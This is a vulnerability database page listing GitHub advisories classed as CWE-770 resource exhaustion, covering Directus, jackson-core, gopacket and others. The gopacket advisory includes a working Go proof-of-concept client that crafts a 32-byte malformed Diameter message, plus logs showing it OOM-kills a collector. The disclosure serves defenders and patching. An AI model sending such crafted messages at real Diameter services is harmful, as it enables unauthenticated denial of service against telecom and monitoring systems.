CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3625 vulnerabilities reference this CWE, most recent first.
GHSA-6PQ9-8556-QR3W
Vulnerability from github – Published: 2026-04-07 06:30 – Updated: 2026-04-07 15:30In Modem, there is a possible system crash due to a logic error. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01106496; Issue ID: MSV-4467.
{
"affected": [],
"aliases": [
"CVE-2026-20431"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-07T04:16:59Z",
"severity": "MODERATE"
},
"details": "In Modem, there is a possible system crash due to a logic error. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01106496; Issue ID: MSV-4467.",
"id": "GHSA-6pq9-8556-qr3w",
"modified": "2026-04-07T15:30:48Z",
"published": "2026-04-07T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20431"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/April-2026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6PRM-2VX7-8XWR
Vulnerability from github – Published: 2024-11-04 18:31 – Updated: 2024-11-06 00:31An issue in Open Networking Foundations sdran-in-a-box v.1.4.3 and onos-a1t v.0.2.3 allows a remote attacker to cause a denial of service via the onos-a1t component of the sdran-in-a-box, specifically the DeleteWatcher function.
{
"affected": [],
"aliases": [
"CVE-2024-48809"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T17:15:07Z",
"severity": "HIGH"
},
"details": "An issue in Open Networking Foundations sdran-in-a-box v.1.4.3 and onos-a1t v.0.2.3 allows a remote attacker to cause a denial of service via the onos-a1t component of the sdran-in-a-box, specifically the DeleteWatcher function.",
"id": "GHSA-6prm-2vx7-8xwr",
"modified": "2024-11-06T00:31:55Z",
"published": "2024-11-04T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48809"
},
{
"type": "WEB",
"url": "https://github.com/onosproject/sdran-in-a-box/issues/206"
},
{
"type": "WEB",
"url": "https://gist.github.com/bergen876/5a21f78e266c12aa2586beb2178443b0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6Q22-G298-GRJH
Vulnerability from github – Published: 2026-04-04 06:13 – Updated: 2026-04-04 06:13Summary
The GraphQL specification permits a single query to repeat the same field multiple times using aliases, with each alias resolved independently by default. Directus did not deduplicate resolver invocations within a single request, meaning each alias triggered a full, independent execution of the underlying resolver.
The health check resolver ran all backend checks (database connectivity, cache, storage writes, and SMTP verification) on every invocation. Combined with unauthenticated access to the system GraphQL endpoint, this allowed an attacker to amplify resource consumption significantly from a single HTTP request, exhausting the database connection pool, storage I/O, and SMTP connections.
Fix
A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases an attacker includes in a query.
Impact
- Service degradation or outage: Database connection pool exhaustion prevents all Directus operations for all users
- Storage I/O saturation: Concurrent file writes can overwhelm disk I/O
- SMTP resource exhaustion: Concurrent SMTP verification calls may overwhelm the mail server
- No authentication required: Any network-accessible attacker can trigger this condition
- Single-request impact: A single request is sufficient to cause significant resource consumption
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:13:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe GraphQL specification permits a single query to repeat the same field multiple times using aliases, with each alias resolved independently by default. Directus did not deduplicate resolver invocations within a single request, meaning each alias triggered a full, independent execution of the underlying resolver.\n\nThe health check resolver ran all backend checks (database connectivity, cache, storage writes, and SMTP verification) on every invocation. Combined with unauthenticated access to the system GraphQL endpoint, this allowed an attacker to amplify resource consumption significantly from a single HTTP request, exhausting the database connection pool, storage I/O, and SMTP connections.\n\n## Fix\n\nA request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases an attacker includes in a query.\n\n## Impact\n\n- **Service degradation or outage:** Database connection pool exhaustion prevents all Directus operations for all users\n- **Storage I/O saturation:** Concurrent file writes can overwhelm disk I/O\n- **SMTP resource exhaustion:** Concurrent SMTP verification calls may overwhelm the mail server\n- **No authentication required:** Any network-accessible attacker can trigger this condition\n- **Single-request impact:** A single request is sufficient to cause significant resource consumption\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-6q22-g298-grjh",
"modified": "2026-04-04T06:13:25Z",
"published": "2026-04-04T06:13:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver"
}
GHSA-6Q7P-H646-HJMP
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2022-12-15 06:30In NotificationChannel of NotificationChannel.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703118
{
"affected": [],
"aliases": [
"CVE-2022-20486"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "HIGH"
},
"details": "In NotificationChannel of NotificationChannel.java, there is a possible failure to persist permissions settings due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-242703118",
"id": "GHSA-6q7p-h646-hjmp",
"modified": "2022-12-15T06:30:29Z",
"published": "2022-12-13T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20486"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6QM2-MCQ7-53QP
Vulnerability from github – Published: 2026-08-04 15:32 – Updated: 2026-09-01 18:56Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-72hv-8253-57qq. This link is maintained to preserve external references.
Original Description
The non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service.
The synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses.
Root cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path.
Impact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service.
No privileges or user interaction beyond the ability to submit data for parsing are required.
This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x.
Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T18:56:39Z",
"nvd_published_at": "2026-08-04T15:16:29Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-72hv-8253-57qq. This link is maintained to preserve external references.\n\n## Original Description\n\nThe non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service.\n\n\n\nThe synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses.\n\n\n\nRoot cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path.\n\n\n\nImpact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service.\n\n\n\nNo privileges or user interaction beyond the ability to submit data for parsing are required.\n\n\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x.\n\n\n\nVersions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0.",
"id": "GHSA-6qm2-mcq7-53qp",
"modified": "2026-09-01T18:56:39Z",
"published": "2026-08-04T15:32:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18401"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition",
"withdrawn": "2026-09-01T18:56:39Z"
}
GHSA-6QQ7-3HQC-P5W4
Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2023-07-19 22:14A vulnerability was found in wallabag 2.5.4. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /config of the component Profile Config. The manipulation of the argument Name leads to allocation of resources. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233359. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wallabag/wallabag"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-3566"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-10T21:52:53Z",
"nvd_published_at": "2023-07-10T16:15:56Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in wallabag 2.5.4. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /config of the component Profile Config. The manipulation of the argument Name leads to allocation of resources. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233359. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-6qq7-3hqc-p5w4",
"modified": "2023-07-19T22:14:26Z",
"published": "2023-07-10T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3566"
},
{
"type": "WEB",
"url": "https://github.com/ctflearner/Vulnerability/blob/main/WALLABAG/NAME-LIMIT.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/wallabag/wallabag"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.233359"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.233359"
},
{
"type": "WEB",
"url": "https://youtu.be/ouwud0PlHkE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Wallabag vulnerable to Allocation of Resources Without Limits or Throttling"
}
GHSA-6R28-9PPF-4HJ5
Vulnerability from github – Published: 2026-07-28 16:14 – Updated: 2026-07-28 16:14Summary
The Diameter AVP decoder in github.com/gopacket/gopacket computes dataLength := avp.Length - uint32(headerSize) without first ensuring avp.Length >= headerSize. When the Vendor flag is set, headerSize is 12, but the only length guard upstream rejects avp.Length < 8. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the uint32 subtraction to ~4,294,967,292, which is passed straight to make([]byte, dataLength). A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -> CWE-770 unbounded allocation).
Root cause (file:line @ v1.6.0)
layers/diameter_avp_decoders.go, decodeDiameterAVP:
avp.Length = uint32(data[5])<<16 | uint32(data[6])<<8 | uint32(data[7]) // 24-bit wire value
if avp.Length < 8 { // only rejects < 8
return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d", avp.Length)
}
headerSize := 8
dataOffset := 8
if avp.Flags.Vendor { // Vendor flag = wire bit data[4] & 0x80
if len(data) < 12 { ... }
avp.VendorID = binary.BigEndian.Uint32(data[8:12])
headerSize = 12 // header is now 12, but only >= 8 was checked
dataOffset = 12
}
paddedLength := avp.Length // equals avp.Length; for avp.Length <= 12
if avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }
if uint32(len(data)) < paddedLength { // only requires ~12 bytes present
return DiameterAVP{}, 0, fmt.Errorf("AVP data truncated: ...")
}
dataLength := avp.Length - uint32(headerSize) // 8 - 12 = uint32 underflow = 4294967292
avp.Data = make([]byte, dataLength) // make([]byte, ~4.29e9) ~= 4 GiB
copy(avp.Data, data[dataOffset:dataOffset+int(dataLength)]) // out-of-bounds slice -> panic
For avp.Length in {8, 9, 10, 11} with the Vendor flag set: the avp.Length < 8 guard passes, paddedLength == avp.Length so only avp.Length bytes must be present, and dataLength = avp.Length - 12 underflows the uint32. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The make executes before the copy, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.
Reachability (remote attacker -> sink)
LayerTypeDiameter is a registered decoder (layertypes.go:159, RegisterLayerType(154, ... decodeDiameter)):
decodeDiameter -> (*Diameter).DecodeFromBytes (diameter.go:118) -> parses the 20-byte header -> avpData := data[20:d.MessageLength] -> AVP loop decodeDiameterAVP(avpData) (diameter.go:158) -> sink at diameter_avp_decoders.go:57.
Diameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via gopacket.NewPacket(data, LayerTypeDiameter, ...). The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.
Impact
Unauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).
Note on consumer behavior (measured end-to-end against a deployed collector, see PoC):
- A collector using the recovering
gopacket.NewPacket(..., gopacket.Default)API survives a single malicious message: the ~4 GiBmake([]byte, dataLength)runs (in-processruntime.MemStatsshows a 4096 MBTotalAllocdelta per message), but the immediately-following out-of-boundscopypanics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into anErrorLayer, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message. - Two malicious messages in succession reliably OOM-kill the collector under a 256 MB cap: the second
makecommits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (OOMKilled=true, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required). - Consumers that call
DecodeFromBytesdirectly (common in performance-sensitive collectors) or setSkipDecodeRecovery: trueadditionally get an uncaught panic / crash on the first message.
In all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.
Proof of Concept
This PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at the v1.6.0 tag, layers/diameter_avp_decoders.go:56-58).
Collector (real TCP Diameter collector)
// collector.go — accepts a TCP connection, reads one Diameter message (framed by
// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted
// at LayerTypeDiameter and accesses the layer, which drives the registered
// Diameter decoder over the attacker-controlled bytes.
package main
import (
"fmt"
"io"
"net"
"os"
"github.com/gopacket/gopacket"
"github.com/gopacket/gopacket/layers"
)
func readDiameterMessage(conn net.Conn) ([]byte, error) {
hdr := make([]byte, 20)
if _, err := io.ReadFull(conn, hdr); err != nil {
return nil, err
}
msgLen := uint32(hdr[1])<<16 | uint32(hdr[2])<<8 | uint32(hdr[3])
if msgLen < 20 {
return hdr, nil
}
full := make([]byte, msgLen)
copy(full, hdr)
if _, err := io.ReadFull(conn, full[20:]); err != nil {
return nil, err
}
return full, nil
}
func main() {
ln, err := net.Listen("tcp", "0.0.0.0:3868")
if err != nil {
fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
os.Exit(1)
}
defer ln.Close()
fmt.Printf("[collector] Diameter collector listening on tcp %s\n", ln.Addr())
for {
conn, err := ln.Accept()
if err != nil {
continue
}
func() {
defer conn.Close()
data, err := readDiameterMessage(conn)
if err != nil {
return
}
fmt.Printf("[collector] received %d-byte Diameter message from %s\n", len(data), conn.RemoteAddr())
pkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)
if d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {
fmt.Printf("[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\n",
d.Version, d.CommandCode, d.MessageLength, len(d.AVPs))
} else {
fmt.Printf("[collector] no Diameter layer decoded\n")
}
}()
}
}
Client (independent process, real TCP socket, no gopacket dependency)
The client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is avpLen. With the Vendor flag set, the decoder's headerSize becomes 12; for avpLen in {8,9,10,11} the dataLength = avpLen - 12 subtraction underflows. For the benign case avpLen >= 12 so the AVP carries avpLen-12 real bytes and parses cleanly.
// client.go — usage: client <addr> <avpLen> [--benign]
package main
import (
"encoding/binary"
"fmt"
"net"
"os"
"strconv"
"time"
)
func be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }
func craft(avpLen uint32, benign bool) []byte {
avp := []byte{}
avp = append(avp, be32(1)...) // AVP Code = 1
avp = append(avp, 0x80) // Flags: Vendor bit set -> headerSize becomes 12
avp = append(avp, byte(avpLen>>16), byte(avpLen>>8), byte(avpLen)) // 24-bit Length
avp = append(avp, be32(0)...) // VendorID
if benign {
dataLen := int(avpLen) - 12
if dataLen < 0 {
dataLen = 0
}
padded := dataLen
if padded%4 != 0 {
padded += 4 - padded%4
}
for i := 0; i < padded; i++ {
avp = append(avp, 0x42)
}
} else {
for len(avp) < 12 {
avp = append(avp, 0x00)
}
}
msgLen := uint32(20 + len(avp))
hdr := make([]byte, 20)
hdr[0] = 0x01 // Version 1
hdr[1] = byte(msgLen >> 16)
hdr[2] = byte(msgLen >> 8)
hdr[3] = byte(msgLen)
hdr[4] = 0x80 // Command Flags: Request
hdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257
return append(hdr, avp...)
}
func main() {
addr := os.Args[1]
avpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
benign := len(os.Args) > 3 && os.Args[3] == "--benign"
data := craft(uint32(avpLen), benign)
conn, err := net.Dial("tcp", addr)
if err != nil {
fmt.Fprintf(os.Stderr, "dial error: %v\n", err)
os.Exit(1)
}
defer conn.Close()
conn.Write(data)
fmt.Printf("[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\n",
len(data), avpLen, benign)
buf := make([]byte, 1)
conn.SetReadDeadline(time.Now().Add(3 * time.Second))
conn.Read(buf)
}
Run and observed result
The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.
Negative control (benign message, vendor AVP Length=16, dataLength=4):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign
[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)
# collector log:
[collector] received 36-byte Diameter message from 172.19.0.3:53216
[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1
# collector status: running (ALIVE); RSS flat at 1.5 MiB
Attack message #1 (malicious, vendor AVP Length=8 -> 8-12 underflow -> ~4 GiB make):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket
# collector log:
[collector] received 32-byte Diameter message from 172.19.0.3:53230
[collector] no Diameter layer decoded
# collector status after #1: running (the single ~4 GiB make panics on the
# subsequent out-of-bounds copy and is recovered before physical pages commit);
# RSS 6.5 MiB
Attack message #2 (same malicious message again):
$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket
# container final state:
Status=exited OOMKilled=true ExitCode=137
Two malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (OOMKilled=true, exit 137). A single message is recovered by the default decoding API and the process survives, but the second make([]byte, 4294967292) commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.
In-process measurement confirms the per-message allocation: feeding the same 32-byte message through gopacket.NewPacket(..., gopacket.Default) shows a runtime.MemStats TotalAlloc delta of 4096 MB, i.e. the make([]byte, 4294967292) genuinely executes on every message before the copy panics.
The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.
Affected versions
github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.
Suggested fix
After headerSize is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing dataLength:
if avp.Length < uint32(headerSize) {
return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d, smaller than header size %d", avp.Length, headerSize)
}
This mirrors the existing avp.Length < 8 check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream go test ./layers -run Diameter suite (9 tests) still passes and valid vendor AVPs parse unchanged.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gopacket/gopacket"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54345"
],
"database_specific": {
"cwe_ids": [
"CWE-191",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T16:14:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length \u003e= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length \u003c 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -\u003e CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])\u003c\u003c16 | uint32(data[6])\u003c\u003c8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length \u003c 8 { // only rejects \u003c 8\n return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor { // Vendor flag = wire bit data[4] \u0026 0x80\n if len(data) \u003c 12 { ... }\n avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n headerSize = 12 // header is now 12, but only \u003e= 8 was checked\n dataOffset = 12\n}\n\npaddedLength := avp.Length // equals avp.Length; for avp.Length \u003c= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) \u003c paddedLength { // only requires ~12 bytes present\n return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize) // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength) // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)]) // out-of-bounds slice -\u003e panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length \u003c 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -\u003e sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -\u003e `(*Diameter).DecodeFromBytes` (diameter.go:118) -\u003e parses the 20-byte header -\u003e `avpData := data[20:d.MessageLength]` -\u003e 